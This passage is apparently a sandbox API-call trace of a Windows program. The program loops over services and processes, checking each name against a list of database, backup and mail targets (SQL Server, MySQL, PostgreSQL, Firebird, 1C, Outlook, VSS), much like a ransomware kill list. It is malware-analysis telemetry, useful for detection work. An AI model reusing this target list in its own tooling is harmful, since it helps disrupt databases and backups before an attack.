szExeFile="VSSVC.exe")) returned 0 [0041.691] CloseHandle (hObject=0x198) returned 1 [0041.691] Sleep (dwMilliseconds=0x1f4) [0042.442] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52fb20 [0042.443] EnumServicesStatusExW (in: hSCManager=0x52fb20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0042.443] GetLastError () returned 0xea [0042.443] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x123e) returned 0x40038b0 [0042.443] EnumServicesStatusExW (in: hSCManager=0x52fb20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40038b0, cbBufSize=0x123e, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40038b0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0042.444] CloseServiceHandle (hSCObject=0x52fb20) returned 1 [0042.444] lstrlenW (lpString="Appinfo") returned 7 [0042.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0042.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0042.444] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0042.444] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0042.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0042.444] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0042.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0042.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0042.444] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0042.444] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0042.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0042.444] lstrlenW (lpString="AudioSrv") returned 8 [0042.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0042.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0042.444] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0042.444] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0042.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0042.444] lstrlenW (lpString="BFE") returned 3 [0042.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0042.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0042.445] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0042.445] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0042.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0042.445] lstrlenW (lpString="CryptSvc") returned 8 [0042.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0042.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0042.445] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0042.445] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0042.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0042.445] lstrlenW (lpString="CscService") returned 10 [0042.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0042.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0042.445] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0042.445] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0042.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0042.445] lstrlenW (lpString="DcomLaunch") returned 10 [0042.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0042.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0042.445] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0042.445] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0042.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0042.445] lstrlenW (lpString="Dhcp") returned 4 [0042.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0042.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0042.445] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0042.445] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0042.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0042.445] lstrlenW (lpString="Dnscache") returned 8 [0042.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0042.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0042.445] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0042.445] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0042.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0042.446] lstrlenW (lpString="DPS") returned 3 [0042.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0042.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0042.446] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0042.446] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0042.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0042.446] lstrlenW (lpString="eventlog") returned 8 [0042.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0042.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0042.446] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0042.446] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0042.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0042.446] lstrlenW (lpString="EventSystem") returned 11 [0042.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0042.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0042.446] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0042.446] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0042.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0042.446] lstrlenW (lpString="gpsvc") returned 5 [0042.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0042.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0042.446] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0042.446] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0042.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0042.446] lstrlenW (lpString="iphlpsvc") returned 8 [0042.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0042.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0042.446] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0042.446] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0042.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0042.446] lstrlenW (lpString="LanmanServer") returned 12 [0042.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0042.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0042.447] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0042.447] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0042.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0042.447] lstrlenW (lpString="LanmanWorkstation") returned 17 [0042.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0042.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0042.447] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0042.447] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0042.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0042.447] lstrlenW (lpString="lmhosts") returned 7 [0042.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0042.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0042.447] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0042.447] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0042.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0042.447] lstrlenW (lpString="MMCSS") returned 5 [0042.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0042.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0042.447] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0042.447] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0042.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0042.447] lstrlenW (lpString="MpsSvc") returned 6 [0042.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0042.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0042.447] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0042.447] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0042.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0042.447] lstrlenW (lpString="Netman") returned 6 [0042.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0042.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0042.447] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0042.447] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0042.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0042.448] lstrlenW (lpString="netprofm") returned 8 [0042.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0042.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0042.448] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0042.448] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0042.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0042.448] lstrlenW (lpString="NlaSvc") returned 6 [0042.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0042.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0042.448] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0042.448] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0042.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0042.448] lstrlenW (lpString="nsi") returned 3 [0042.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0042.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0042.448] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0042.448] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0042.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0042.448] lstrlenW (lpString="PcaSvc") returned 6 [0042.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0042.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0042.448] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0042.448] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0042.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0042.448] lstrlenW (lpString="PlugPlay") returned 8 [0042.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0042.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0042.448] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0042.448] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0042.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0042.448] lstrlenW (lpString="Power") returned 5 [0042.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0042.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0042.449] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0042.449] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0042.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0042.449] lstrlenW (lpString="ProfSvc") returned 7 [0042.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0042.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0042.449] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0042.449] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0042.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0042.449] lstrlenW (lpString="RpcEptMapper") returned 12 [0042.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0042.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0042.449] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0042.449] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0042.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0042.449] lstrlenW (lpString="RpcSs") returned 5 [0042.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0042.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0042.449] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0042.449] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0042.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0042.449] lstrlenW (lpString="SamSs") returned 5 [0042.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0042.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0042.449] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0042.449] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0042.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0042.449] lstrlenW (lpString="Schedule") returned 8 [0042.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0042.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0042.449] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0042.449] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0042.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0042.450] lstrlenW (lpString="SENS") returned 4 [0042.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0042.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0042.450] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0042.450] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0042.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0042.450] lstrlenW (lpString="ShellHWDetection") returned 16 [0042.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0042.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0042.450] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0042.450] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0042.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0042.450] lstrlenW (lpString="Spooler") returned 7 [0042.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0042.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0042.450] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0042.450] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0042.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0042.450] lstrlenW (lpString="SysMain") returned 7 [0042.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0042.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0042.450] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0042.450] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0042.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0042.450] lstrlenW (lpString="Themes") returned 6 [0042.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0042.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0042.450] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0042.450] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0042.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0042.450] lstrlenW (lpString="TrkWks") returned 6 [0042.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0042.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0042.450] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0042.450] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0042.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0042.451] lstrlenW (lpString="UxSms") returned 5 [0042.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0042.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0042.451] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0042.451] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0042.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0042.451] lstrlenW (lpString="VSS") returned 3 [0042.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0042.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0042.451] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0042.451] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0042.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0042.451] lstrlenW (lpString="WdiServiceHost") returned 14 [0042.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0042.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0042.451] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0042.451] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0042.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0042.451] lstrlenW (lpString="WdiSystemHost") returned 13 [0042.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0042.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0042.451] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0042.451] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0042.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0042.451] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0042.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0042.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0042.451] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0042.451] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0042.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0042.451] lstrlenW (lpString="Winmgmt") returned 7 [0042.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0042.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0042.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0042.451] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0042.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0042.452] lstrlenW (lpString="WPDBusEnum") returned 10 [0042.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0042.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0042.452] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0042.452] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0042.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0042.452] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x40038b0 | out: hHeap=0x4b0000) returned 1 [0042.452] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x190 [0042.454] Process32FirstW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0042.455] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0042.455] lstrlenW (lpString="System") returned 6 [0042.455] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0042.455] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0042.455] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0042.455] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0042.456] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0042.456] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0042.456] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0042.456] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0042.456] lstrlenW (lpString="smss.exe") returned 8 [0042.456] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0042.456] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0042.456] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0042.456] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0042.456] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0042.456] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0042.456] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0042.456] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0042.457] lstrlenW (lpString="csrss.exe") returned 9 [0042.457] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0042.457] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0042.457] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0042.457] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0042.457] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0042.457] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0042.457] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0042.457] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0042.458] lstrlenW (lpString="wininit.exe") returned 11 [0042.458] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0042.458] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0042.458] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0042.458] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0042.458] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0042.458] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0042.458] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0042.458] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0042.459] lstrlenW (lpString="csrss.exe") returned 9 [0042.459] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0042.459] Process32NextW (in: 